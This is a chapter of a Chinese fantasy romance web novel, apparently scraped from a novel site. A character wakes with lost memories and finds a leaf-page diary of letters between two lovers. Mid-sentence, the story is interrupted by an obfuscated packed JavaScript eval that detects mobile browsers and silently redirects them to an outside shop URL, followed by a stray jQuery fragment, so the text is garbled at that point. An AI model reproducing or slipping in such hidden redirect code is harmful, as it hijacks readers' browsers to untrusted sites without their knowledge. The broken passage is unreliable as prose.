文趣网 > 其他小说 > 花孔雀的心尖牛 > 80. 玉虚(一)
    林间树影婆娑,枝叶随风轻晃。骤雨刚歇,空中弥漫着一股挥之不去的腥气。

    风木息站在林间,脚步踌躇,神色茫然。

    忽然,余光瞥见一道身影掠动,体态柔婉轻盈,宛若翩飞。他下意识提步追了上去。少年在林木间辗转穿梭,身姿轻灵飘逸,落地、腾跃皆悄无声息,唯有枝叶被拂动的轻响相伴。

    忽的那人驻足回首,眸光潋滟动人心魄,只是额间一点金痣有些暗淡。他唇角扬起温柔笑意,轻声唤道:

    “阿息。”

    一声又一声呼唤,声声萦绕耳畔。

    风木息目眩神迷宛如被蛊惑般不断朝他靠近。

    对方停步,等他凑近,而随着两人距离的不断拉近,那张脸庞却反倒愈发朦胧模糊。

    一股浓烈的恐慌骤然攫住他的心,急忙伸手想要将人攥住,可身前之人却如流水般虚幻,刚触到轮廓,便顺着指缝悄然流散。

    身影散去片刻,又重新凝聚,化作一只小巧的飞燕。

    “阿息。”

    小巧修长的燕绕着他扑闪翅膀,蓝黑色带金属的光泽在周围滑过。青年的余音还在林间回荡,风木息却猛地头痛似裂,只觉耳畔嗡嗡作响,一片混沌。

    “阿息。”

    这一回,声音自身后传来。

    他耳中却逐渐再也听不进任何声响,两只手往前想要抓住什么,却只攥住满手虚空,无力地轰然垂落。

    像是虚妄又像是真切的,一双温暖的手从后方环来,轻轻揽住他的脖颈,伴随着一声悠长的轻叹,温热气息喷洒在耳畔,再度唤他:

    “阿息。”

    “咔哒——”

    一枚玉珏自腰间滚落在地,磕在地上,碎裂成好几瓣。

    “阿息。”

    -

    祁云耀缓缓睁开双眼,脑袋昏沉发胀,钝重的头痛混着颈间莫名的刺痛一同袭来,尖锐得险些让他再次昏厥过去。

    “小息!”

    身侧立刻有人上前,温柔地将他揽入怀中。一只手紧紧握住他的手,却并不温热,而是一股死寂的凉。

    祁云耀艰难抬首皱眉眯起眼打量,这人头上覆着一层白纱,身躯背着光线,面容隐在阴影里模糊朦胧看不真切。唯有零星微光落在侧脸,衬得他肤色异常苍白。

    他眼皮重得厉害,眨了两下,便又无力垂下,似是要再度睡去。

    “公子尚需静养,七长老请离吧,太上会那边……”

    周遭人声扰攘,祁云耀眼皮沉得抬不动,旁人的话语却清清楚楚钻入耳。

    “是啊,小公子刚醒,安心休养便好了。”

    “住嘴!”

    头顶陡然传来一声冷斥,语气和方才温柔的低语判若两人。

    “我不会离开小息!”

    “可掌门今日——啊!掌门!”

    说话之人语声陡然拔高。

    话音陡然拔高,屋内众人瞬间噤若寒蝉。一阵细碎的响动过后,缓慢的脚步声由远及近,最终在数丈之外停了下来。

    “哎哟,真是可怜。弟弟怎就这样想不开。”

    来人声线清泠,话语里却满是戏谑讥诮,“要我说,小叔叔当初就不该喂他那药。药效如何,你心里再清楚不过,何必非要做棒打鸳鸯的棒槌?”

    七长老沉声:“你来做什么?”

    “这话可真叫我难过。”

    床榻微微一陷,似是对方坐了下来,“还不是太上会传话,你再迟迟不到,诸位长辈难免多言。若是被他们认定,是木息绊住了你的脚步,保不齐会将人另行安置。”

    他稍作停顿,继续道:“说到底,各位长老大约就是介怀他的生母是凡人——”

    “够了……”

    七长老环着祁云耀的手臂猛地一僵,许久,重重长叹一声,倦怠尽数散在这声叹息里。

    “我和你走。”

    怀抱缓缓松开,祁云耀被小心放回床榻。细碎的衣料摩挲声响起,轻盈沉重两种截然不同的脚步声一步步远去,最后伴着木门吱呀开合,稀稀疏疏的声音远去,烛火被吹灭,整间屋子彻底陷入沉寂。

    祁云耀倏然睁眼,眼底一片清明。

    麻痛未散,他眼珠一转环顾四周,心头萦绕着一股莫名的违和感。费力偏过头,入目皆是排布得一丝不苟的陈设。

    侧边开凿出的镂花雕空小窗投进月光,就着浅薄月光,勉强看清屋内,此地似曾相识,细看却又处处生疏,总觉一切本不该是眼前模样。

    格局规整到了极致,景致也雅致到了极致,即便躺卧在床上,视角受限,所见之物依旧精巧妥帖。桌案上供着带露的粉荷,案下铺着同调的锦布,帘幔、摆件彼此呼应,处处用心。

    整室布置于他而言全然陌生。

    一个念头忽然在脑中浮现:这屋子似乎一直就没有固定的模样,陈设总会随时节更迭。如今摆着藕荷,全屋色调与物件便随之相配;待到冬日荷花凋零,换上艳艳红梅,周遭一切又会再度改换。

    万物流转不休,唯有他像个暂居的过客,身不由己,只能关在主人精心布置的屋舍里。

    心底的异样感愈发强烈。

    似乎不该是这样的,至少——他的屋子绝对不会是这样。

    零碎的记忆片段自脑海深处缓缓浮起,那似乎是一间被杂物堆满却乱中有序的卧室:屋角立着个不伦不类的艳色置物架,上面摆满各式各样稀奇物件,还有一张铺着两床被褥的床,靠外的被子比靠里的长一大截,画面朦胧但时而又格外清晰。

    他吃力地转动脖颈,伤口被牵动,刺痛骤然加剧。

    指尖轻轻抚上颈间,厚厚的纱布下,能摸到一道形状怪异的凸起。蹙起眉头,转而摩挲身下的被褥,料子柔滑似水,触感细腻微凉。

    不对不对。

    记忆里的被褥,该是暖融融的,揉着晒透日光的干爽气。

    还有身旁那个人——

    身旁人?

    心念至此,他下意识抬手往身侧摸索,而身侧却空荡荡的,没有半分人影。

    指尖继续在床榻上胡乱摸索着,探到床沿与墙壁相接的缝隙时,忽然触到一处硬实的凸起。伸手将物件抽了出来,竟是一本鼓鼓的叶笺手札。

    祁云耀皱眉坐起。

    那是一本巴掌大小的薄册,每一页都夹

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596457|196908||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着一片叶子,一问一答,便尽数记在片片叶面上。

    开篇第一页是枚干枯的枫叶,上头落着一笔娟秀清雅的字迹:

    咫尺檐宇,燕自踟蹰。

    他凝望着字迹看了许久,犹疑着,很有自知之明,知晓自己绝对写不出这手字。视线顺势往下,便见工整字迹下方,歪歪扭扭爬着三个字,笔触潦草:

    看不重。

    眉尖蹙起,指尖稍作停顿,片刻后竟低低笑了一声,抬手继续往后翻。

    下一页换了片枫叶,色泽鲜润红艳,满是鲜活生机。

    上方写道:

    燕子能够飞跃屋檐吗?

    再往下,依旧是那狗啃似的笔迹:

    不失口。

    但我可以。

    翻至新页,叶片换了种类,变得翠绿。一行字迹静静落在叶面:

    你是谁?

    简短的回答紧随其后:

    燕子。

    页角处还寥寥数笔,画了一只小巧的黑燕剪影,模样灵动可爱。

    祁云耀心中生出几分兴致,继续往后翻看。

    片片叶面上,载满了一来一往的字句。

    笔锋俊逸的那方总是满心好奇,问尽诸般趣事;而另一方的字迹始终笨拙零散,只挑浅显易懂的作答,笔下还频频写错字,往往要连猜带蒙才能读懂其意。遇上实在费解的内容,便在字句旁圈出,再画一张蹙着眉的小圆脸,模样稚拙又有趣。

    一雅一拙两种笔迹,在方寸叶片间,筑起了只属于二人的小小天地。

    翻到册页中后段,那笔端端正正的字迹,郑重写下了想要相见的邀约。

    那串潦草字迹却没有在叶面上留下只言片语作为回应。

    略一思索,祁云耀再往后翻阅数页,心中便有了答案——他们定然是私下相见了。

    此后的内容彻底变了模样。不再是打探山川异域、好奇世间百态,余下的全是细碎又温柔的日常心绪,大半都是俊逸字迹的独自低语。

    课业繁重,甚是想念。

    许久不见,甚是想念。

    听闻巡狩遇险,满心忧惧。

    今日偶遇,你却默然不语。

    潦草的字迹几乎不再落笔作答,想来是索性携着叶片相见。字里行间的嗔怪、怅惘与回味,都昭示着二人相见频频,朝夕相伴,情愫早已悄然滋生。

    册子后半页,尽数记录着相处时的点滴心绪。时而带着几分委屈,埋怨对方的言语未能合自己心意,可转过一页,笔锋又柔下来,落笔皆是绵长思念。

    祁云耀莫名心头缠上一团说不清的郁结,屏息读到最后一页。

    依旧是那熟悉的字迹,往日从容工整的笔意荡然无存,笔画凌乱仓促,力透叶身,只赫然一个字:

    滚!

    手札就此戛然而止。

    祁云耀缓缓合上这本写满过往的叶册,眸光沉沉。

    册上两种笔迹,无论清雅俊逸,还是稚拙潦草,分明都不属于自己,可这本私密手札,偏偏藏在他卧榻的缝隙之中。

    一个巨大的疑团在心底蔓延开来。

    所以——他到底是谁呢?